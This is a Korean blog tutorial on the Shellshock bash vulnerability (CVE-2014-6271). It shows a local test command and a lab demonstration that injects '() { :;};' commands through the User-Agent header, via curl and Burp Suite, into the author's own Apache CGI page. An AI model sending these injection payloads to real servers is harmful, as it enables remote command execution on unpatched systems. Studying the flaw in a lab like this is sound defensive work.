본문 바로가기

20./22. Linux

GNU Bash 환경 변수 명령어 인젝션 Shellshock

GNU Bash 환경 변수 명령어 인젝션 Shellshock


GUN bash Environment Variable Command Injection


발생 원인


공격 문구를 삽입할 때 () { :;}; [공격 명령어]; 를 이용하여 bash 쉘의 취약점을 이용하게 됩니다. 쉘 스크립트 문법을 분석했을때 함수선언 () 이후 { } 중괄호에 있는 코드를 실행 후 종료해야 하지만 Syntax 오류로 인해 종료되어야 할 시점 이후로 파싱되어 공격 명령어가 실행됩니다.


테스트 및 공격방법 


+ CVE-2014-6271 [bash 테스트]

Shellshock 취약점이 발생하는지 테스트는 Unix 터미널에서 아래와 같이 입력한다.

 env check = 'Not vulnerable' x='() { :;}; check=Vulnerable' bash -c 'echo $check'


실행환경 : Ubuntu 10.04

~ $ uname -a


~ $ bash --version


터미널에서 환경변수를 입력하여 취약하면 Vulnerable 이라는 check 변수의 값을 확인 가능하다.


만일 취약하지 않다면 x함수를 정의하지 못해 무시한다는 문구를 확인 가능하다. 

bash: warning: x: ignoring function definition attempt bash: error importing function definition for 'x' vulnerable


+ CVE-2014-6271 : Remote Code execution through bash [공격방법]

Shellshock 취약점을 이용하여 Apache 서버를 원격으로 공격 가능한지 확인한다.

 [root@host cgi-bin]# curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa'  localhost/cgi-bin/hi


테스트 환경 : CentOS 6.3

] # uname -a


apache 서비스 시작합니다.

] # service httpd start



Apache의 cgi-bin을 이용하여 bash에 접근할 것이며, 이용할 페이지는 아래와 같이 간단하게 만든다.

 CGI (Common Gateway Interface) 프로그램은 웹과 서버사이의 data 교환을 해주는 역활을 하며, 보편적으로 Perl과 C언어로 작성되어 있다.

# pwd

# ll hi

# cat hi


다른 PC 에서 웹서버 및 cgi-bin 구동을 확인한다.


일단 Apache가 구동되어있는 서버에서 Shellshock 취약점이 정상 작동하는지 테스트한다.

] # curl -k -H 'User-Agent: () { :;}; echo "test, oneandonlyme">/tmp/aa'  http://localhost/cgi-bin/hi


임시 폴더인 tmp 밑에 echo를 이용하여 aa파일 생성 후 "test, oneandonlyme" 문장을 리다이렉트가 된것을 확인 가능하다. cat을 이용하여 /tmp/aa 내용을 확인하면 아래와 같다.



이제 원격에서 웹 브라우저를 이용하여 공격합니다.

사용 도구 : Firefox beta 버전인 Aurora, Burp Suite Free Edition v1.5


웹 브라우저를 이용하여 해당 웹 서비스에 접근 가능한지 확인합니다.


중간 프록시 툴을 이용하여 웹 서비스에 접근할때 HTTP 요청 페이지를 확인합니다.


HTTP 요청 페이지에서 User-Agent를 변경한다. 

Shellshock 공격 코드인 () { :;} [실행하고 싶은 명령어] 입력 후 전송(Forward)한다.


웹 페이지는 HTTP 정상 응답 된 것을 확인 가능하다.


공격받은 Apache 웹 서버에서 결과를 확인한다. tmp 아래 aa 파일에 "test2,by oneandonlyme." 라고 작성된 파일이 HTTP 요청으로 생성된 것을 확인 가능하다.



실행원리


env val='() { :;}; echo [Unexpected command]' bash -c "echo [Real command]"

[Unexpected command]

[Real Command]


1. env val - bash 명령어가 실행되기 전에 env 환경 설정 변수가 설정된다.

2. echo [Unexpected command] - 임의로 고정시킨 명령어가 실행된 후 bash가 실행된다.

3. Unexpected command - 예상하지 못했던 먼저 실행된다.

4. Real command - 예상된 명령어가 다음 실행된다.



bash 취약점 보안 가이드


http://mac-how-to.wonderhowto.com/how-to/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x-0157606/


참조 자료


http://lifehacker.com/how-to-check-if-your-mac-or-linux-machine-is-vulnerable-1639211806

https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271



'20. > 22. Linux' 카테고리의 다른 글

SSH 접속 시 RSA 공유키 충돌  (0) 2018.03.28
[Ubuntu 12.10 Desktop] 우분투 메뉴바 사라짐  (0) 2014.02.05
How to install DVL  (0) 2014.02.05
[Linux/부팅] 리눅스 부팅 과정  (0) 2013.07.08